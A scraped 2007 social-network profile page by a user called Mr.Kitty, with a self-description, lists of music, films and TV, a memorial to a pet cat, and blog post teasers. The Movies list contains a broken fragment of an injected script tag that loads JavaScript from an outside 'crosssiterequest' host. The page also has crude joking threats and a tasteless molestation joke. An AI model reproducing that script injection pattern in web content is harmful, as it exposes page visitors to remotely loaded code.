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About Me

"You can fool everybody, but landie dearie me, you can't fool a cat. They seem to know who's not right ♥♥
Well i guess the longer I sit here and complain about how much I hate writing this junk out, the longer it'll take to be done and over with. So about me eh? Well like all my friends say about themselves...I am clearly the most awesome person you will ever encounter. I will fill you with joy, love and...well rage! No, no I am perfect. I basically have an undying love for just about...everything. I love animals of any kind...except bugs. F those creepy bastards. I despise children and refuse to serve them at my job. I love the elderly and how senile they are at times. I can only hope I'm just as crazy as half the people who live in Selkirk when i get old. Yes that's right, you heard me..i live in the ghetto's of Selkirk. I walk the streets in terror everyday. haha what am i saying...I'm just as wankster as the rest of them. If not more! I enjoy spending my weekends in the refines of club desire...dancing and drinking the nights away. Obviously making a fool of myself the entire time. I am a recycling nazi so dont throw your damn recycables in the garbage or I'll slit your throats. I enjoy being one with nature. My theme song is of course Pocahontas's "Colors of the wind". I have an undying lust for lipgloss. Pretty sure I collect it or something. I like to think of myself as a good friend, but apparently many will disagree with you. That's when you just push them down the stairs. I enjoy attention and love any sort of it. The good, the bad, the...anything? Im obviously a nutjob, but dont let that freak ya out. I'm basically a blonde at all times and it makes me smile. I enjoy going out and doing things at all times. But for some reason my computer has control of my mind and doesnt let me leave...but when I do I like doing fun and random things. I touch myself when I think about you. I love my friends with all my heart and would do anything for them, unless it involves me in pain...just kidding. They all rock my socks. I guess I'm about done here, i mean..anything else you NEED to know, just ask away. I'm open for business. In more ways than one. Love ya! Wanna make out?
Some people say that cats are sneaky, evil, and cruel. True, and they have many other fine qualities as well.
Thousands of years ago, cats were worshipped as gods. Cats have never forgotten this.

My Interests

Well let me just tell you. My intersts are of a vast variety. Naturally I enjoy drinking, dancing, partying, bonfires, house parties, the bar...(desire most of all) - Notice of all of those involve drinking. I also enjoy the outdoors. Camping, random latenight adventures with my boys, swimming, tubing, hiking...(yea weird eh), rollerblading, i do enjoy beach volleyball..tho you'll never win with me on your team..I'm just there for the amusement factor. Tanning, shopping, snuggling on couches whilst watching horror movies, eating...then complaining about how I'm never gonna eat again, random trips to the city, mario party marathons, the drink and drive game! haha I do enjoy videogames from time to time. Tho i'll rarely admit to it. I enjoy twin time with Blair. Which usually involves us eating bad foods and complaining about boys. Drinking during the week with my secret lover David. KELLY'S! Gringo Ringoes and the sketchiness that is the selkirk bars. I would say doing my hair...but that would be Diana...so i enjoy watching her do my hair? Random text messages, animals, smoking, taking pictures, chicken fingers, mocking the people that come to the Chef. Hugs and puppies....possibly kisses from time to time. Cleaning up my dogs pee....Kidding! Bingo! Making my dad mad only to hear him yell at me while I laugh uncontrollably, the lake, lipgloss, being a freak?

I'd like to meet:

Your Mom Just kidding! Well i like to meet anybody. I'm easily amused. Altho i think i've met some of the best people already..not sure how many more there could be. I mean celebritywise..that would be an easy...Geri halliwell, Shania Twain and Hilary Duff. Followed by a side order Of Wishbone. Thats right, i'd love to meet the dog who planted all those stories of the past within my head. Oh and I would also like to meet "The candyman" whom i think is in fact a child molester, but I guess with enough candy, he could molest me.

Music:

Ooo I love my Shania Twain, Hilary Duff, Spice Girls, Geri Halliwell, Reliant K, Ashlee Simpson, Pussycat Dolls, Hanson, Backstreet boys, Sum 41, Benny Benassi, HIM, Christina Aguilera and Britney Spears, Coldplay, Cascada, Dixie Chicks, Savage Garden, Maria Carey, Black Eyed Peas, Kylie and Dannii Minogue, David Usher, Cassie, MIMS, Jojo, David Guetta, Beyonce, Shiny Toy Guns, Hellogoodbye, Mika, Cory Lee, Taylor Swift, Timbaland, Gwen, Akon, Jessica Simpson, The Rasmus, Daddy Yankee, Blink 182, Beyonce, Sara Paxton, The Moffatts, Chamillionair, Nelly Furtado, Akon, Rhianna, Jesse McArtney, Delerium, Tatu, Tomi Swick, DHT, Missy Elliott, the good old bar music, I like 80's stuff. Those are some classics. I'm game for almost anything..except the screamo and rap stuff and not so much country

Movies:

Jawbreaker, Bio-Dome, Hocus Pocus, Cabin fever, The Lizzie McGuire Movie, Raise your voice, Moulin Rouge, Emperor's new Groove, Big Fat Liar, Milo and Otis, House of Wax, Muppets(any of them) I know what you did last summer, Urban legends, Mean Girls, A Cinderella Story, Scooby Doo, Romy and Michelle's high school reunion,...among alot of others .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("..1...{}");}..

Television:

Project Runway, Smallville, Supernatural, Manhunt, Sabrina the Teenage Witch, What I like about you, Survivor, Justice League, Futurama, Scooby Doo, Darcy's wildlife, Lizzie McGuire, Thats so Raven, CSI, America's next top model, The Hills...sadly...and whatever else happens to be on when I space out.

Books:

I'm not too much of a reader but I do fancy the occasional book at times. I was always partial to the Geri Halliwell Biographies, Scream Queen, Hell House, Clay's way. Comics were always fun to read. Good ol Archie! Books come and go with me...one minute I'll crave for a good book, the other minute I'll hate reading.

Heroes:

My Original Home Girls
Blair
Nikki

I must admit that Princess Peach is my hero. Only because no matter how many times she gets captured, she always seems to get rescued. Plus she's a Princess and has all those little Mushroom People under her command. Who doesnt want little mushroom men under their command?

Styx
I miss you so much already little buddy, my life will never be the same without you around. You were my best friend and brother for 17 years of my life. I'll never forget you styx. I love you always. May you rest in peace. ♥
November 7 1990 - June 18 2007

My Blog

still gone

So it's been a week since the death of my lil guy, so I thought I'd write a blog.Its just been weird lately not having him around...I don't wake up and step in a puddle of pee anymore, which i suppose...
Posted by Mr.Kitty on Mon, 25 Jun 2007 01:02:00 PST

I miss him

Pretty self explanatory....Just felt like getting that out there. haha
Posted by Mr.Kitty on Wed, 02 May 2007 01:06:00 PST

The adventures of T-Bad

So a Saturday night away from Desire....Hanging out with the people closest to you without the noise and clutter of the bar. Having a few drinks in solitude over some witty banter. So it consisted of ...
Posted by Mr.Kitty on Sun, 29 Apr 2007 03:47:00 PST

soulful

So I suppose every now and again you have to sit and evaluate your life and the things going on with it. Granted it's not always a good thing, because you usually start dwelling upon things that have ...
Posted by Mr.Kitty on Wed, 04 Apr 2007 01:03:00 PST

Back on Top...did I ever leave?

So i just thought to inform all that my thunder has been regained. After only a day if that, the new gay boy was.."let go".Aww shucks. What's a kitten to play with? Looks like I still reign as King of...
Posted by Mr.Kitty on Thu, 11 Jan 2007 07:20:00 PST

Stolen Thunder

So i thought to write a ranting blog about how my thunder has now been stolen...Well let me tell you,I was happy being the only male server working at chicken chef( yes I know that i dont fully count ...
Posted by Mr.Kitty on Sat, 06 Jan 2007 01:05:00 PST

Snow!!! Man!!!

Mmmk. So guess what i did today...I made a flippin Snowman! Aent you excited? Cuz i sure was. That was the best thing ever. Altho finding him random objects was clearly a task in itself. I named him J...
Posted by Mr.Kitty on Tue, 07 Nov 2006 12:33:00 PST

Wishbone

So i thought I would write a blog dedictaed to my love for Wishbone.Seriously...he is like my one true love. And of course all those movies got stolen wih the break-in that occured last year and now I...
Posted by Mr.Kitty on Tue, 07 Nov 2006 12:25:00 PST

Where did I go wrong? Nowhere!

You know what's Bullshit?!That i havent slept with Heather yet...haha Well no, apart from yes I have, thats not what i mean...Its just annoying reading all these blogs dedicated to me and yet these pe...
Posted by Mr.Kitty on Fri, 03 Nov 2006 09:28:00 PST

CheeseFest

Ok so I am so excited to say that I have recieved a copy of Hocus Pocus from the sweetest boy EVER! It really means alot to me and I want to thank you again. Along with thanking you for the last 2 day...
Posted by Mr.Kitty on Mon, 30 Oct 2006 10:19:00 PST